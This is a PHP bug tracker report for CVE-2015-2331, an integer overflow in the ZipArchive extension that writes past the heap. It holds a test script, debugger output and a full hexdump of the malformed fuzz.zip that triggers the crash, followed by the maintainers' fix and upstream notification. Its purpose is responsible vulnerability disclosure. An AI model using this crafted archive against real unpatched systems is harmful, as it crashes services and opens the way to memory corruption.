php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69253 ZIP Integer Overflow leads to writing past heap boundary
Submitted: 2015-03-18 03:54 UTC Modified: 2015-03-20 05:49 UTC
From: emmanuel dot law at gmail dot com Assigned: stas
Status: Closed Package: Zip Related
PHP Version: 5.6.6 OS: *nix
Private report: No CVE-ID: 2015-2331
 [2015-03-18 03:54 UTC] emmanuel dot law at gmail dot com
Description:
------------
Description:
------------ 
PHP <= 5.6.6 has a Integer overflow vulnerability when opening a ZipArchive with a large number of entries. This results in writing pass the heap boundary and crashing PHP.

Configuration:
-------------
./configure --enable-zip 




Test script:
---------------
<?php

$path = $argv[1];

$zip = new ZipArchive;
if ($zip->open($path) === true) {
echo "OPEN!";

}
$zip->close();
?>

Actual result:
--------------
Technical Details:
------------------
./php  testzip.php fuzz.zip


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x89f6ff8 --> 0x0
EBX: 0x0
ECX: 0xb7dcb3a0 --> 0x0
EDX: 0x89c64b8 --> 0x0
ESI: 0x30 ('0')
EDI: 0x0
EBP: 0xbfffbd88 --> 0xbfffbe38 --> 0xbfffbec8 --> 0xbfffbf58 --> 0xbfffbf88 --> 0xbfffbfb8 --> 0xbfffc018 --> 0xbfffc088 --> 0xbfffc098 --> 0xbfffc0c8 --> 0xbfffc0e8 --> 0xbfffc148 --> 0xbfffe2e8 --> 0xbffff4d8 --> 0xbffff5e8 --> 0xbffff658 --> 0x0
ESP: 0xbfffbd50 --> 0x89f6ff8 --> 0x0
EIP: 0x8391390 (<_zip_cdir_new+219>:    add    DWORD PTR [ebp-0x8],0x1)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]
   0x8393c5a <_zip_entry_init+12>:      mov    eax,DWORD PTR [ebp+0x8]
   0x8393c5d <_zip_entry_init+15>:      mov    DWORD PTR [eax+0x4],0x0
   0x8393c64 <_zip_entry_init+22>:      mov    eax,DWORD PTR [ebp+0x8]
=> 0x8393c67 <_zip_entry_init+25>:      mov    DWORD PTR [eax+0x8],0x0
   0x8393c6e <_zip_entry_init+32>:      mov    eax,DWORD PTR [ebp+0x8]
   0x8393c71 <_zip_entry_init+35>:      mov    DWORD PTR [eax+0xc],0x0
   0x8393c78 <_zip_entry_init+42>:      pop    ebp


gdb-peda$ info proc mappings
process 15992
Mapped address spaces:

                        Start Addr   End Addr       Size     Offset objfile
                        0x8048000  0x88c7000   0x87f000        0x0 /root/php-5.6.6/sapi/cli/php
                        0x88c7000  0x88c8000     0x1000   0x87e000 /root/php-5.6.6/sapi/cli/php
                        0x88c8000  0x88d0000     0x8000   0x87f000 /root/php-5.6.6/sapi/cli/php
Heap OverFlow==>        0x88d0000  0x89f7000   0x127000        0x0 [heap]
                        0xb7a95000 0xb7ac0000    0x2b000        0x0
		        ...............


The vulnerability is in zip_dirent.c:113
	else if ((cd->entry=(struct zip_entry *)malloc(sizeof(*(cd->entry))*(size_t)nentry)) == NULL) {

whereby sizeof(*(cd->entry)) * nentry results in an integer overflow


The crash will be trigger later on when writing past the heap boundary:

#1  0x08391390 in _zip_cdir_new (nentry=0x3000000000000000, error=0xbfffbf14) at /root/php-5.6.6/ext/zip/lib/zip_dirent.c:120
120             _zip_entry_init(cd->entry+i);

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-03-18 03:59 UTC] emmanuel dot law at gmail dot com
Backtrace
---------

gdb-peda$ bt
#0  0x08393c67 in _zip_entry_init (e=0x89f6ff8) at /root/php-5.6.6/ext/zip/lib/zip_entry.c:53
#1  0x08391390 in _zip_cdir_new (nentry=0x3000000000000000, error=0xbfffbf14) at /root/php-5.6.6/ext/zip/lib/zip_dirent.c:120
#2  0x08398fa6 in _zip_read_eocd64 (f=0x89c6820, eocd64loc=0x89c69c0 "", buf=0x89c6988 "", buf_offset=0x0, buflen=0x62, flags=0x0, error=0xbfffbf14)
    at /root/php-5.6.6/ext/zip/lib/zip_open.c:734
#3  0x083977de in _zip_readcdir (fp=0x89c6820, buf_offset=0x0, buf=0x89c6988 "", eocd=0x89c69d4 "", buflen=0x62, flags=0x0, error=0xbfffbf14)
    at /root/php-5.6.6/ext/zip/lib/zip_open.c:229
#4  0x0839866a in _zip_find_central_dir (fp=0x89c6820, flags=0x0, zep=0xbfffbfe4, len=0x62) at /root/php-5.6.6/ext/zip/lib/zip_open.c:539
#5  0x08397568 in _zip_open (fn=0xb7c2818c "/root/php-5.6.6/sapi/cli/fuzz_temp_minimize_output", fp=0x89c6820, flags=0x0, zep=0xbfffbfe4)
    at /root/php-5.6.6/ext/zip/lib/zip_open.c:147
#6  0x08397436 in zip_open (fn=0xb7c2818c "/root/php-5.6.6/sapi/cli/fuzz_temp_minimize_output", _flags=0x0, zep=0xbfffbfe4) at /root/php-5.6.6/ext/zip/lib/zip_open.c:100
#7  0x08389fb5 in c_ziparchive_open (ht=0x1, return_value=0xb7c26774, return_value_ptr=0xb7c09148, this_ptr=0xb7c267b4, return_value_used=0x1)
    at /root/php-5.6.6/ext/zip/php_zip.c:1568
#8  0x0845e6d0 in zend_do_fcall_common_helper_SPEC (execute_data=0xb7c091c4) at /root/php-5.6.6/Zend/zend_vm_execute.h:558
#9  0x0845f243 in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER (execute_data=0xb7c091c4) at /root/php-5.6.6/Zend/zend_vm_execute.h:693
#10 0x0845ddc7 in execute_ex (execute_data=0xb7c091c4) at /root/php-5.6.6/Zend/zend_vm_execute.h:363
#11 0x0845de2b in zend_execute (op_array=0xb7c27020) at /root/php-5.6.6/Zend/zend_vm_execute.h:388
#12 0x08424e96 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /root/php-5.6.6/Zend/zend.c:1341
#13 0x083a28a9 in php_execute_script (primary_file=0xbffff428) at /root/php-5.6.6/main/main.c:2578
#14 0x084c5844 in do_cli (argc=0x3, argv=0x88e9bc8) at /root/php-5.6.6/sapi/cli/php_cli.c:994
#15 0x084c67e1 in main (argc=0x3, argv=0x88e9bc8) at /root/php-5.6.6/sapi/cli/php_cli.c:1378
#16 0xb7c7bc05 in __libc_start_main () from /lib/libc.so.6
#17 0x08067141 in _start () at ../sysdeps/i386/elf/start.S:119
 [2015-03-18 04:35 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2015-03-18 04:35 UTC] stas@php.net
Could you provide file fuzz.zip for testing?
 [2015-03-18 04:56 UTC] emmanuel dot law at gmail dot com
-Status: Feedback +Status: Open
 [2015-03-18 04:56 UTC] emmanuel dot law at gmail dot com
Here's a link to the file:

https://www.dropbox.com/s/v3tv1fou6hvkqst/fuzz.zip?dl=0



$ md5 fuzz.zip
MD5 (fuzz.zip) = bb2b009af232c7ce9223495a233198ff

$ hexdump -C fuzz.zip
00000000  50 4b 06 06 30 30 30 30  30 30 30 30 30 30 30 30  |PK..000000000000|
00000010  30 30 30 30 30 30 30 30  00 00 00 00 00 00 00 30  |00000000.......0|
00000020  00 00 00 00 00 00 00 30  30 00 00 00 00 00 00 00  |.......00.......|
00000030  00 00 00 00 00 00 00 00  50 4b 06 07 30 30 30 30  |........PK..0000|
00000040  00 00 00 00 00 00 00 00  30 30 30 30 50 4b 05 06  |........0000PK..|
00000050  00 00 00 00 30 30 30 30  30 30 30 30 30 30 30 30  |....000000000000|
00000060  30 30                                             |00|
00000062
 [2015-03-18 05:24 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-18 05:24 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-03-18 05:27 UTC] stas@php.net
You may want also to report this upstream to libzip maintainers.
 [2015-03-18 07:43 UTC] henri at nerv dot fi
Out of interest what fuzzer did you use?
 [2015-03-18 09:32 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-2331
 [2015-03-18 09:47 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4a8d8b4154334b1714e19b82b061201d41dc87d6
Log: Fix bug #69253 - ZIP Integer Overflow leads to writing past heap boundary
 [2015-03-18 09:48 UTC] kaplan@php.net
-Private report: No +Private report: Yes
 [2015-03-18 09:48 UTC] kaplan@php.net
Marked as private to give upstream time to fix it as well. Notified them at libzip@nih.at
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Jun 23 01:01:38 2017 UTC